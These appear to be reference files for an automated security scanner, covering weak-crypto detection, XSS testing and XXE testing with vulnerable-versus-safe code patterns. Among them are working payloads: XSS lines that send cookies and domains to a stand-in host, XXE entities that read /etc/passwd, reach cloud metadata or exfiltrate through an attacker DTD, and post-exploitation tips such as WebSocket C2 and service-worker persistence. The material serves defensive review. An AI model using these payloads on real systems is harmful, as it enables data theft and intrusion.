- **VULN (crypto)**: `DES.new(key)`, `AES.new(key, AES.MODE_ECB)` — pycryptodome weak modes
- **SAFE**: `hashlib.sha256()`, `hashlib.sha512()` for non-password integrity use
- **SAFE**: `secrets.token_hex(32)`, `secrets.token_urlsafe()` for security tokens
- **SAFE**: `bcrypt.hashpw(password, bcrypt.gensalt())` for password storage
- **Pattern**: `random` module in any security context = HIGH RISK

### JavaScript (Node.js)
- **VULN**: `crypto.createHash('md5').update(password).digest('hex')`
- **VULN**: `crypto.createHash('sha1').update(data).digest('hex')`
- **VULN**: `Math.random()` used for token, OTP, or session ID generation
- **SAFE**: `crypto.createHash('sha256')`, `crypto.createHash('sha512')`
- **SAFE**: `crypto.randomBytes(32)`, `crypto.randomUUID()`

### PHP
- **VULN**: `md5($password)`, `sha1($password)` — used for password storage
- **VULN**: `rand()`, `mt_rand()` used for token generation
- **SAFE**: `password_hash($password, PASSWORD_BCRYPT)`, `password_verify()`
- **SAFE**: `random_bytes(32)`, `bin2hex(random_bytes(16))`

## Java Servlet Patterns

### Weak Random (CWE-330)

**Presence check — no taint tracing needed.**

**VULN**:
```java
new java.util.Random()
Math.random()
```

**SAFE**:
```java
new java.security.SecureRandom()
SecureRandom.getInstance("SHA1PRNG")
```

**Decision rule**: `new Random()` or `Math.random()` → **VULN**. `new SecureRandom()` → **SAFE**. Never flag `SecureRandom` as weak.

---

### Weak Cryptography (CWE-327)

**Presence check — no taint tracing needed.**

**VULN**:
```java
Cipher.getInstance("DES/...")
Cipher.getInstance("DESede/...")
Cipher.getInstance("AES/ECB/...")
Cipher.getInstance("RC2/...") / Cipher.getInstance("RC4/...") / Cipher.getInstance("Blowfish/...")
KeyGenerator.getInstance("DES")
```

**SAFE**:
```java
Cipher.getInstance("AES/GCM/NoPadding")
Cipher.getInstance("AES/CBC/PKCS5Padding")   // acceptable if IV is random
Cipher.getInstance("ChaCha20-Poly1305")
```

**Decision rule**: weak algorithm string in `Cipher.getInstance()` → **VULN**. AES/GCM or AES/CBC with proper IV → **SAFE**.

**Edge cases**:
- `benchmarkprops.getProperty("cryptoAlg1", "...")` resolves to a weak crypto setting → treat as **VULN** even when the fallback literal is not the actual runtime value.

---

### Weak Hash (CWE-328)

**Presence check — no taint tracing needed.**

**VULN**:
```java
MessageDigest.getInstance("MD5")
MessageDigest.getInstance("SHA1") / MessageDigest.getInstance("SHA-1")
MessageDigest.getInstance("MD2")
```

**SAFE**:
```java
MessageDigest.getInstance("SHA-256")
MessageDigest.getInstance("SHA-384")
MessageDigest.getInstance("SHA-512")
```

**Decision rule**: weak algorithm string → **VULN**. SHA-256 or stronger → **SAFE**.

**Edge cases**:
- `benchmarkprops.getProperty("hashAlg1", "...")` resolves to a weak hash setting → treat as **VULN** even when the fallback literal looks strong.
- In benchmark mode for `VulnerableApp` and `verademo`, map confirmed MD5/SHA1, insecure crypto storage, or Base64-as-encryption evidence to project tag `weak_crypto`.
- Keep `weak_crypto_hash` only when the benchmark explicitly scores hash weaknesses as a separate class.
- FALSE POSITIVE guard: do not emit `weak_crypto_hash` for `VulnerableApp/CryptographicFailures*` or verademo MD5 password storage if the project taxonomy exposes only `weak_crypto`.
- Do not up-map `java.util.Random` in captcha or demo flows, standalone MD5 helpers, or representative directories without a crypto taxonomy to benchmark tag `weak_crypto`; keep `weakrand`/`weak_random`, `verification_code`, or the exact primitive tag unless the project ground truth explicitly groups them under `weak_crypto`.
- FALSE POSITIVE guard: `java.util.Random()` used only in a demo echo/code page should not emit project-level `weakrand` or `weak_crypto` unless the route is an actual OTP/captcha/authentication flow scored by the benchmark.

## references/xss.md

---
name: xss
description: XSS testing covering reflected, stored, and DOM-based vectors with CSP bypass techniques
---

# XSS

Cross-site scripting persists because context boundaries, parser behavior, and framework-specific edges combine in non-obvious ways. Every user-influenced string must be treated as untrusted until it has been strictly encoded for the exact sink it reaches, and guarded by a runtime policy such as CSP or Trusted Types.

## Where to Look

**Types**
- Reflected, stored, and DOM-based XSS across web, mobile, and desktop shells

**Contexts**
- HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF

**Frameworks**
- React/Vue/Angular/Svelte sinks, template engines, SSR/ISR rendering pipelines

**Defenses to Bypass**
- CSP/Trusted Types, DOMPurify, framework auto-escaping mechanisms

## Sink Locations

**Server Render**
- Templates (Jinja/EJS/Handlebars), SSR frameworks, email and PDF renderers

**Client Render**
- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, template literals
- `dangerouslySetInnerHTML`, `v-html`, `$sce.trustAsHtml`, Svelte `{@html}`

**URL/DOM**
- `location.hash`/`search`, `document.referrer`, base href, `data-*` attributes

**Events/Handlers**
- `onerror`/`onload`/`onfocus`/`onclick` and `javascript:` URL handlers

**Cross-Context**
- postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB

**File/Metadata**
- Image/SVG/XML filenames and EXIF fields, office documents processed server-side or client-side

## Context Encoding Rules

- **HTML text**: encode `< > & " '`
- **Attribute value**: encode `" ' < > &` and ensure the attribute is quoted; unquoted attributes must never carry user data
- **URL/JS URL**: encode and validate scheme against an allowlist (https/mailto/tel); reject javascript and data schemes
- **JS string**: escape quotes, backslashes, and newlines; prefer `JSON.stringify`
- **CSS**: avoid injecting into style rules; sanitize property names and values; watch for `url()` and `expression()`
- **SVG/MathML**: treat as active content; many elements execute via onload or animation events

## Vulnerability Patterns

### DOM XSS

**Sources**
- `location.*` (hash/search), `document.referrer`, postMessage, storage, service worker messages

**Sinks**
- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, `document.write`
- `setAttribute`, `setTimeout`/`setInterval` when called with string arguments
- `eval`/`Function`, `new Worker` with blob URLs

**Vulnerable Pattern**
```javascript
const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;
```
Exploit: `?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>`

### Mutation XSS

Leverage browser parser repair behavior to transform safe-looking markup into executable code (e.g., noscript, malformed tags):
```html
<noscript><p title="</noscript><img src=x onerror=alert(1)>
<form><button formaction=javascript:alert(1)>
```

### Template Injection

Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):
```
{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}
```

### CSP Bypass

- Weak policies: missing nonces/hashes, wildcard source entries, `data:` or `blob:` permitted, inline events allowed
- Script gadgets: JSONP endpoints, libraries that expose function constructors
- Import maps or modulepreload directives with insufficiently scoped policies
- Base tag injection to retarget relative script URLs to attacker-controlled origins
- Dynamic module import through permitted origins

### Trusted Types Bypass

- Custom policies that return unsanitized strings; abuse of whitelisted policy names
- Sinks not covered by Trusted Types (CSS, URL handlers) exploited through available gadgets

## Polyglot Payloads

Maintain a compact, context-tuned set:
- **HTML node**: `<svg onload=alert(1)>`
- **Attr quoted**: `" autofocus onfocus=alert(1) x="`
- **Attr unquoted**: `onmouseover=alert(1)`
- **JS string**: `"-alert(1)-"`
- **URL**: `javascript:alert(1)`

## Framework-Specific

### React

- Primary sink: `dangerouslySetInnerHTML`
- Secondary: event handlers or URL values sourced from untrusted input
- Bypass patterns: unsanitized HTML flowing through third-party libraries; custom renderers that use innerHTML internally

### Vue

- Sinks: `v-html` and dynamic attribute bindings
- SSR hydration mismatches can cause the browser to re-interpret server-supplied content

### Angular

- Legacy expression injection (pre-1.6)
- `$sce` trust APIs misused to whitelist attacker-controlled markup

### Svelte

- Sinks: `{@html}` and dynamic attribute expressions

### Meta-Frameworks (SSR Sinks)

**Next.js**
- `dangerouslySetInnerHTML` in server components or pages — same risk as client React
- `getServerSideProps` / `getStaticProps` returning unsanitized HTML that reaches `dangerouslySetInnerHTML`
- `next/head` with user-controlled `<script>` or meta content injection
- API routes (`pages/api/`) returning HTML responses with user data — treated as server-rendered XSS

**Nuxt (Vue SSR)**
- `v-html` in SSR-rendered components — HTML injected during server render is sent to all clients
- `useAsyncData` / `useFetch` returning unsanitized content rendered via `v-html`
- Nuxt `server/api/` handlers returning HTML with user input

**SvelteKit**
- `{@html userInput}` in SSR-rendered `.svelte` components — same as client-side but affects all users
- `+page.server.ts` / `+layout.server.ts` load functions returning unsanitized data that reaches `{@html}`
- Form actions returning HTML content with user-controlled values

**Key principle**: SSR XSS is typically **stored-equivalent** in severity because the malicious output is rendered server-side and served to every requesting client, not just the attacker's browser.

### Markdown/Richtext

- Many renderers pass HTML through by default; plugins may re-enable raw HTML output
- Sanitize after rendering; prohibit inline HTML or constrain to a minimal safe element set

## Special Contexts

### Email

- Most clients strip script elements but permit CSS rules and remote content loading
- Restrict testing to CSS and URL-based techniques where JS execution is not expected

### PDF and Docs

- PDF engines may execute JavaScript inside annotations or form submit actions
- Test `javascript:` in link and submit action fields

### File Uploads

- SVG and HTML files served with `text/html` or `image/svg+xml` content types can execute inline scripts
- Confirm content-type enforcement and `Content-Disposition: attachment` headers
- Watch for MIME sniffing bypasses; require `X-Content-Type-Options: nosniff`

## Post-Exploitation

- Session and token exfiltration: prefer fetch/XHR over image beacons for reliability
- Real-time control: WebSocket C2 channel with a constrained command set
- Persistence: service worker registration; localStorage or script gadget re-injection
- Impact paths: role hijack, CSRF chaining, internal port scanning via fetch, credential phishing overlays

## Analysis Workflow

1. **Identify sources** — URL/query/hash/referrer, postMessage, storage, WebSocket, server-injected JSON
2. **Trace to sinks** — Follow data flow from each source to its eventual sink
3. **Classify context** — HTML node, attribute, URL, script block, event handler, eval-like JS, CSS, SVG
4. **Assess defenses** — Output encoding, sanitizer configuration, CSP headers, Trusted Types enforcement, DOMPurify config
5. **Craft payloads** — Minimal context-specific payloads with encoding, whitespace, and casing variants
6. **Multi-channel** — Exercise all transports: REST, GraphQL, WebSocket, SSE, service workers

## Confirming a Finding

1. Supply the minimal payload alongside context (sink type) with before-and-after DOM state or network evidence
2. Demonstrate cross-browser execution where behavior diverges, or explain parser-specific mechanics
3. Show that stated defenses are bypassed — sanitizer settings, CSP headers, Trusted Types — with concrete proof
4. Quantify impact beyond proof-of-concept: data accessed, action performed, persistence achieved

## Common False Alarms

- Reflected content that is correctly encoded for the exact context it appears in
- CSP policies enforcing nonces or hashes with no inline events and no dangerous sources
- Trusted Types enforced on all relevant sinks; DOMPurify configured in strict mode with URI allowlists
- Scriptable contexts disabled, raw HTML passthrough prohibited, and safe URL schemes enforced

## Business Risk

- Session hijacking and credential theft
- Account takeover via token exfiltration
- CSRF chaining to drive unauthorized state-changing actions
- Malware distribution and phishing via injected content
- Persistent compromise through service worker registration

## Analyst Notes

1. Begin with context classification rather than payload brute force
2. Use DOM instrumentation to log sink activity and uncover unexpected data flows
3. Maintain a small, curated payload set organized by context; iterate with encoding and casing variants
4. Validate defenses by inspecting their configuration and running negative tests
5. Prefer impact-driven PoCs — exfiltration, CSRF chains — over bare alert boxes
6. Treat SVG and MathML as first-class active content; test them independently
7. Rerun tests across different transports and render paths — SSR, CSR, and hydration behave differently
8. Probe CSP and Trusted Types policies intentionally: attempt to violate them and capture the resulting violation reports

## Core Principle

Context and sink together determine whether execution occurs. Encode precisely for the target context, enforce runtime policies through CSP and Trusted Types, and validate every alternative render path. Compact, well-evidenced payloads outperform exhaustive payload catalogs.

## Java Source Detection Rules

### TRUE POSITIVE: Unescaped data in server-generated HTML
- Untrusted data from `@RequestParam`, `request.getParameter(...)`, path variables, headers, or database fields is concatenated or interpolated into HTML markup returned to the browser.
- Java sinks include `ResponseEntity<String>`, `@ResponseBody String`, servlet/JSP writers, or template fragments that build HTML with `String.format(...)`, `+`, or `StringBuilder` without HTML encoding.
- Thymeleaf `th:utext` rendering of untrusted model data is a true positive because it outputs raw HTML.

### TRUE POSITIVE: Stored XSS during HTML rendering
- Data loaded from persistence such as `ResultSet.getString(...)`, entity fields, or repository results is still untrusted when inserted into HTML without contextual encoding.
- A database round-trip does not make the value safe; the finding depends on the final HTML sink.
- `th:text` is only safe for normal HTML text nodes; inside `<script ... th:text="${...}"></script>` or other JavaScript sink contexts it should still be treated as executable `xss`.
- Java handlers that assemble HTML or JavaScript with `StringBuilder`, `String.format`, `append(...)`, or JSP fragments from request or database values are `xss` when the response is browser-rendered, including directory listings and AJAX HTML fragments.

### FALSE POSITIVE: Escaped template output
- Thymeleaf `th:text` escapes HTML by default and should not be flagged unless there is separate evidence that escaping is bypassed or disabled.
- Template output that uses framework HTML escaping is not a finding without a raw-output sink.

### FALSE POSITIVE: JSON-only responses
- `@RestController` responses, Jackson JSON serialization, or `application/json` echoes are not XSS by themselves because they are not HTML or JavaScript rendering sinks.
- Do not report XSS when the only server-side behavior shown is returning JSON or plain data with no browser rendering step.
## Python/JS/PHP Source Detection Rules

### Python (Jinja2 / Flask)
- **VULN**: `render_template_string(user_input)` — template content is user-controlled
- **VULN**: `Markup(user_input)` or `markupsafe.Markup(user_input)` — marks attacker string as safe HTML
- **VULN**: `{{ var | safe }}` in template where `var` comes from a request parameter
- **SAFE**: `render_template('page.html', name=user_input)` — framework auto-escapes variables

### JavaScript (DOM / React / Vue)
- **VULN**: `element.innerHTML = userInput` — direct DOM sink
- **VULN**: `document.write(userInput)`, `element.outerHTML = userInput`
- **VULN**: `dangerouslySetInnerHTML={{ __html: userInput }}` — React explicit unsafe HTML
- **VULN**: `v-html="userInput"` — Vue directive renders raw HTML
- **SAFE**: `element.textContent = userInput`, `element.innerText = userInput`
- **SAFE**: React JSX `<div>{userInput}</div>` — auto-escaped by React

### PHP
- **VULN**: `echo $_GET['name']` — no escaping
- **VULN**: `echo $_POST['msg']` — no escaping
- **VULN**: `print $userInput` — no escaping
- **SAFE**: `echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8')`
- **SAFE**: `echo htmlentities($userInput)`

## Java Servlet Patterns (CWE-79)

**VULN** — tainted input written directly to HTTP response:
```java
PrintWriter out = response.getWriter();
out.println("<p>" + tainted + "</p>");
out.print(tainted);
response.getWriter().println(tainted);
```

**SAFE** — tainted input is HTML-encoded before output:
```java
ESAPI.encoder().encodeForHTML(tainted)
StringEscapeUtils.escapeHtml4(tainted)
```

**Decision rule**: tainted data reaches `PrintWriter.print`/`println`/`write` without encoding → **VULN**. ESAPI or equivalent encoding → **SAFE**.

**Edge cases**:
- `response.getWriter().println(bar.toCharArray())` is **VULN** when `bar` is tainted — converting to `char[]` does not sanitize output.
- `response.getWriter().format(locale, bar, obj)` is **VULN** when `bar` itself is tainted and used as the format string.
- `printf`/`format` with a **fixed** format string is **SAFE** when every inserted argument is fixed or already HTML-encoded.

## references/xxe.md

---
name: xxe
description: XXE testing for external entity injection, file disclosure, and SSRF via XML parsers
---

# XXE

XML External Entity injection is a parser-level weakness that can expose local files, route requests to internal services (SSRF), exhaust resources via entity expansion, and in certain stacks achieve code execution through XInclude, XSLT, or language-specific protocol wrappers. Every XML consumer should be assumed vulnerable until its parser configuration is verified.

## Where to Look

**Capabilities**
- File disclosure: read server files and configuration
- SSRF: reach metadata services, internal admin panels, service ports
- DoS: entity expansion (billion laughs), external resource amplification

**Injection Surfaces**
- REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office)
- PDF generators, build/report pipelines, config importers

**Transclusion**
- XInclude and XSLT `document()` loading external resources

## High-Value Targets

**File Uploads**
- SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives
- Android/iOS plist, project config imports

**Protocols**
- SOAP/XML-RPC/WebDAV/SAML (ACS endpoints)
- RSS/Atom feeds, server-side renderers and converters

**Hidden Paths**
- Parameters: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude"
- Processing-instruction headers

## How to Detect

### Direct

- Inline disclosure of entity content in the HTTP response, transformed output, or error pages

### Error-Based

- Coerce parser errors that leak path fragments or file content via interpolated messages

### OAST

- Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
- Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)

### Timing

- Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)

## Core Payloads

### Local File

```xml
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<r>&xxe;</r>
```

```xml
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<r>&xxe;</r>
```

### SSRF

```xml
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
<r>&xxe;</r>
```

```xml
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
<r>&xxe;</r>
```

### OOB Parameter Entity

```xml
<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
```

evil.dtd:
```xml
<!ENTITY % f SYSTEM "file:///etc/hostname">
<!ENTITY % e "<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>">
%e; %exfil;
```

## Vulnerability Patterns

### Parameter Entities

- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content
- Works even when general entities are sanitized in the XML tree

### XInclude

```xml
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</root>
```

Effective where entity resolution is blocked but XInclude remains enabled in the pipeline.

### XSLT Document

XSLT processors can fetch external resources via `document()`:

```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>
```

Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers.

### Protocol Wrappers

- Java: `jar:`, `netdoc:`
- PHP: `php://filter`, `expect://` (when module enabled)
- Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes

## Evasion Patterns

**Encoding Variants**
- UTF-16/UTF-7 declarations, mixed newlines
- CDATA and comments to evade naive filters

**DOCTYPE Variants**
- PUBLIC vs SYSTEM, mixed case `<!DoCtYpE>`
- Internal vs external subsets, multi-DOCTYPE edge handling

**Network Controls**
- If network blocked but filesystem readable, pivot to local file disclosure
- If files blocked but network open, pivot to SSRF/OAST

## Special Contexts

### SOAP

```xml
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <d>&xxe;</d>
  </soap:Body>
</soap:Envelope>
```

### SAML

- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude
- Test ACS endpoints with minimal probes

### SVG and Renderers

- Inline SVG and server-side SVG→PNG/PDF renderers process XML
- Attempt local file reads via entities/XInclude

### Office Docs

- OOXML (docx/xlsx/pptx) are ZIPs containing XML
- Insert payloads into document.xml, rels, or drawing XML and repackage

## Analysis Workflow

1. **Inventory consumers** - Endpoints, upload parsers, background jobs, CLI tools, converters, third-party SDKs
2. **Capability probes** - Does parser accept DOCTYPE? Resolve external entities? Allow network access? Support XInclude/XSLT?
3. **Establish oracle** - Error shape, length/ETag diffs, OAST callbacks
4. **Escalate** - Targeted file/SSRF payloads
5. **Validate parity** - Same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs

## Confirming a Finding

1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT)
2. Demonstrate controlled access (file path or internal URL) with reproducible evidence
3. Confirm blind channels with OAST and correlate to the triggering request
4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths)
5. Bound impact: exact files/data reached or internal targets proven

## Common False Alarms

- DOCTYPE accepted but entities not resolved and no transclusion reachable
- Filters or sandboxes that emit entity strings literally (no IO performed)
- Mocks/stubs that simulate success without network/file access
- XML processed only client-side (no server parse)

## Business Risk

- Disclosure of credentials/keys/configs, code, and environment secrets
- Access to cloud metadata/token services and internal admin panels
- Denial of service via entity expansion or slow external resources
- Code execution via XSLT/expect:// in insecure stacks

## Analyst Notes

1. Prefer OAST first; it is the quietest confirmation in production-like paths
2. When content is sanitized, use error-based and length/ETag diffs
3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled
4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts
5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly
6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS
7. Test background processors separately; they often use different parser settings
8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE
9. Combine with path traversal and deserialization where XML touches downstream systems
10. Document exact parser behavior per stack; defenses must match real libraries and flags

## Core Principle

XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.

## Python/JS/PHP Source Detection Rules

### Python
- **VULN (lxml)**: `lxml.etree.parse(user_xml)` — lxml allows external entities by default
- **VULN (lxml)**: `lxml.etree.fromstring(user_xml)` — same default behavior
- **SAFE (lxml)**:
  ```python
  parser = lxml.etree.XMLParser(resolve_entities=False, no_network=True)
  lxml.etree.parse(source, parser)
  ```
- **VULN (stdlib)**: `xml.etree.ElementTree.parse(user_xml)` — Python stdlib ET is vulnerable to billion laughs; check Python version
- **SAFE (stdlib)**: `defusedxml.ElementTree.parse(user_xml)` — use defusedxml library

### PHP
- **VULN**: `simplexml_load_string($userXml)` — no entity protection
- **VULN**: `$doc = new DOMDocument(); $doc->loadXML($userXml)` — external entities enabled by default
- **VULN**: `libxml_disable_entity_loader(false)` or absent call before SimpleXML/DOMDocument usage
- **SAFE**: `libxml_disable_entity_loader(true)` called before parsing (PHP < 8.0)
- **SAFE**: PHP 8.0+ disables external entity loading by default

## Java XML Parser Detection Rules

### DocumentBuilderFactory — Vulnerable vs Safe Configuration

```java
// VULNERABLE: default DocumentBuilderFactory (external entities enabled)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());
// No protective features set — DOCTYPE and external entities fully enabled

// VULNERABLE: explicit external entity access enabled
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://xml.org/sax/features/external-general-entities", true);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", true);

// SAFE: all protective features set
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
```

**VULN indicator**: `DocumentBuilderFactory.newInstance()` without any call to `setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)` parsing user-supplied XML.

### SAXParserFactory — Vulnerable vs Safe

```java
// VULNERABLE: default SAX parser
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser sp = spf.newSAXParser();
sp.parse(request.getInputStream(), handler);

// SAFE:
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
```

### XMLInputFactory (StAX) — Vulnerable vs Safe

```java
// VULNERABLE: default StAX factory
XMLInputFactory xif = XMLInputFactory.newInstance();
XMLStreamReader xsr = xif.createXMLStreamReader(request.getInputStream());

// SAFE:
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
```

### XMLDecoder — Critical: This is Deserialization, NOT XXE

```java
// CRITICAL — NOT XXE, but arbitrary Java method invocation:
// XMLDecoder is a Java object deserialization mechanism, not an XML entity processor.
// Tag as insecure_deserialization, NOT xxe.
XMLDecoder decoder = new XMLDecoder(request.getInputStream());
Object obj = decoder.readObject();   // Tag: insecure_deserialization
```

**Important**: Do NOT tag `XMLDecoder` as XXE. It is a deserialization sink (CWE-502), not an XML entity processor.

### TransformerFactory (XSLT) — Vulnerable vs Safe

```java
// VULNERABLE: XSLT transformation of user-supplied stylesheet
TransformerFactory tf = TransformerFactory.newInstance();
Source xslt = new StreamSource(request.getInputStream());  // user-controlled XSLT
Transformer t = tf.newTransformer(xslt);  // XSLT document() can read files/SSRF

// SAFE: secure processing enabled
TransformerFactory tf = TransformerFactory.newInstance();
tf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
```

### Java TRUE POSITIVE Rules

- `DocumentBuilderFactory.newInstance()` parsing user-controlled XML with NO `disallow-doctype-decl` feature → **CONFIRM**
- `SAXParserFactory.newInstance()` parsing user input with no external-entity features set → **CONFIRM**
- `XMLInputFactory.newInstance()` with `IS_SUPPORTING_EXTERNAL_ENTITIES` not set to false → **CONFIRM**
- `TransformerFactory.newInstance()` processing user-supplied XSLT without `FEATURE_SECURE_PROCESSING` → **CONFIRM**
- `Validator.validate()` / `SchemaFactory` on user-controlled XML schema → **CONFIRM** (schema can include external entities)
- Controller/module explicitly named `xxe` or handling XML input with SAXParser/DocumentBuilder/Unmarshaller on user-controlled data without entity-disabling features → **CONFIRM**

### Java FALSE POSITIVE Rules

- `DocumentBuilderFactory` with `disallow-doctype-decl=true` → **SAFE** (DTD and entities blocked)
- `XMLConstants.FEATURE_SECURE_PROCESSING = true` set on factory → mitigates most XXE vectors
- XML parsed from server-controlled resources only (classpath, config files) — no user input reaches parser
- `XMLDecoder` — tag as `insecure_deserialization`, not `xxe`
- Do not emit `xxe` for plain XML rendering pages that have no XML parsing path or module intent

